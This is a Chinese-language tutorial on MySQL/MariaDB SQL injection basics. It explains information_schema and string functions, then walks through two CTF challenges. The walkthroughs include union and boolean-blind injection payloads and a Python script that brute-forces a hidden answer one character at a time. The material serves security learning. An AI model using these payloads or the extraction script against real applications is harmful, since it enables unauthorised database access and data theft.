基础的MySQL(MariaDB)数据库注入知识(一)

0x00 Mysql基础知识1

(1)information_schema
    information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。简单点说,这台MySQL服务器
    上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访
    问,等等信息都保存在information_schema里面。
    information_schema的表schemata中的列schema_name记录了所有数据库的名字
    information_schema的表tables中的列table_schema记录了所有数据库的名字
    information_schema的表tables中的列table_name记录了所有数据库的表的名字
    information_schema的表columns中的列table_schema记录了所有数据库的名字
    information_schema的表columns中的列table_name记录了所有数据库的表的名字
    information_schema的表columns中的列column_name记录了所有数据库的表的列的名字
(2)注释
    单行注释符:#、-- (注意--之后有个空格)
    块注释:/**/
(3)order by
    以指定字段作为排序条件,返回排序后的查询结果。
    指定的字段可以是具体的字段名,如:
    MariaDB [dblab]> select * from user_action order by item_category limit 3;
    +--------+-----------+-----------+---------------+---------------+------------+-----------+
    | id     | uid       | item_id   | behavior_type | item_category | visit_date | province  |
    +--------+-----------+-----------+---------------+---------------+------------+-----------+
    | 55999  | 100895125 | 80944087  | 1             | 10010         | 2014-11-19 | 重庆市    |
    | 56072  | 100895125 | 80944087  | 1             | 10010         | 2014-11-19 | 吉林      |
    | 242954 | 103193989 | 183901987 | 1             | 10012         | 2014-12-08 | 天津市    |
    +--------+-----------+-----------+---------------+---------------+------------+-----------+
    也可以是数字,如:
    MariaDB [dblab]> select * from user_action order by 5 limit 3;
    表示按第5个字段进行排序,和上面效果一样。
    当输入的数字大于表的总字段数时,就会产生错误,基于此,注入时便可借助order by加数字,通过二分法快速确定
    表中有多少列。
(4)group_concat()
    把指定字段的全部内容统计在一行中作为一个单元输出,如下例子,获取security库中所有表和表中字段:
    MariaDB [dblab]> select table_name,group_concat(column_name) from information_schema.columns where table_schema='security' group by table_name;
    +------------+-------------------------------+
    | table_name | group_concat(column_name)     |
    +------------+-------------------------------+
    | emails     | id,email_id                   |
    | referers   | id,referer,ip_address         |
    | uagents    | id,uagent,ip_address,username |
    | users      | id,username,password          |
    +------------+-------------------------------+

例题: http://ctf5.shiyanbar.com/8/index.php?id=1

    这是个没有过滤的布尔注入,很基础,适合用来理解上面的知识点。
    先联合查询获取库名:
    id = -1 union select 1,database()

image1

    之后借助information_schema获取库中的表名和字段名:
    id=-1 union select table_name,group_concat(column_name) from information_schema.columns where table_schema=‘my_db’ group by table_name
    其中information_schema.columns表示从当前库夸库到information_schema库查询其columns表

image2

    这样就得到了当前数据库的表和其中字段的信息
    看名字,flag很有可能就在k0y字段,实际也确实如此。
    id =-1 union select 1,k0y from thiskey 
    即可得到flag
(5)字符串截取函数:
    left(), right(), substring(), substring_index();还有mid(), substr(),在MySQL中这两个等价于substring()函数。
    用法:substring(string,start,[length]) 如截取库名的前三个字符:
    MariaDB [dblab]> select substring(database(),1,3);
    +---------------------------+
    | substring(database(),1,3) |
    +---------------------------+
    | dbl                       |
    +---------------------------+
    用法:left(string, length), right(string. length) 分别是从左端截取和从右端截取
    也可以用 select substring(database() from 1 for 3); 替代上述查询语句。
(6)length()
    获取字符串长度
    MariaDB [dblab]> select length(database());
    +--------------------+
    | length(database()) |
    +--------------------+
    |                  5 |
    +--------------------+
(7)if()函数
    语法: if(condition,true_expr, false_expr) 如果条件式condition为真,则返回true_expr,反之false_expr
    MariaDB [dblab]> select if(mid(database(),1,2)='db', 1, 0);
    +------------------------------------+
    | if(mid(database(),1,2)='db', 1, 0) |
    +------------------------------------+
    |                                  1 |
    +------------------------------------+
(8)case when
    语法:case when condition1 then expr1 
               when condition2 then expr2
               ...
               else expr 
               end
    从上到下,第一个条件为真的表达式作为返回值。

(9)rpad()
    语法:rpad(str, len, padstr) 用padstr对str进行右填充使字符串长度变为len,然后返回填充后的字符串,
    若str长度大于len,则截取str前len个字符返回。
    mysql> select rpad(username,10,0) from users limit 3;
    +---------------------+
    | rpad(username,10,0) |
    +---------------------+
    | Dumb000000          |
    | Angelina00          |
    | Dummy00000          |
    +---------------------+
    与rpad()相对应的是左填充函数lpad()。

(10)ascii()
    语法:ascii(character) 返回字符的ascii码

(11)char()
    语法:char(num) 反汇ascii码对应的字符

例题:http://2018shell1.picoctf.com:36052/

    这是picoCTF2018中一道web题,题目名称"A Simple Question",较为简单,可以通过布尔盲注的方法拿到flag
    打开链接,看到一个简单提问,随便回答一下

image1 image1

    直接返回了查询语句,尝试answer = admin' or '1

image1 image1

    so close? 虽然有了不同回显,但还不能据此判断注入测试成功与否,毕竟有可能是被过滤检测了。
    检查一下网页源码,在第20行有提示

image1

    遂得如下源码

image1

    (通过源码可知,这题其实是SQLite数据库,虽然与MYSQL不同,但接下来注入中使用的函数在两种数据库中是相通的)

    在第22行可以看出,回显“you are so close”确实是注入成功的结果。接下来根据两种不同的回显就可以进行盲
    注了。
    由于已经知道表名answers和字段名answer,可直接构造
    payload1: answer = admin' or length((select group_concat(answer) from answers))>1 or '0 
    使用二分法可快速确定 length((select group_concat(answer) from answers))=14,然后就是确定具体内容
    payload2: answer = admin' or substr((select group_concat(answer) from answers), 1, 1)>char(44) or '0
    依次增加substr()函数开始截取的位置,每次截取一个字符和char(num)进行大小比较以确定该字符的具体值,脚本如下:


    # python3
    # picoCTF2018 A Simple Question
    import requests

    if __name__ == '__main__':
        url = 'http://2018shell1.picoctf.com:36052/answer2.php'
        # answer = "admin' or length((select group_concat(answer) from answers))=14 or '0"
        for i in range(14):
            for num in range(44, 123):
                # 遍历ASCII码值为44~122的字符,依次与当前截取到的字符判等,来确定当前字符。
                answer = "admin' or substr((select group_concat(answer) from answers),"+str(i+1)+",1)=char("+str(num)+") or '0"
                data = {
                    'answer': answer
                }
                html = requests.post(url, data=data)
                if html.text[-22:-6]=='You are so close':  
                    print(chr(num), end='')
                    break


    得到结果:

image1

    也即answer=41AndSixSixths,提交即可得到flag。

image1

Loading……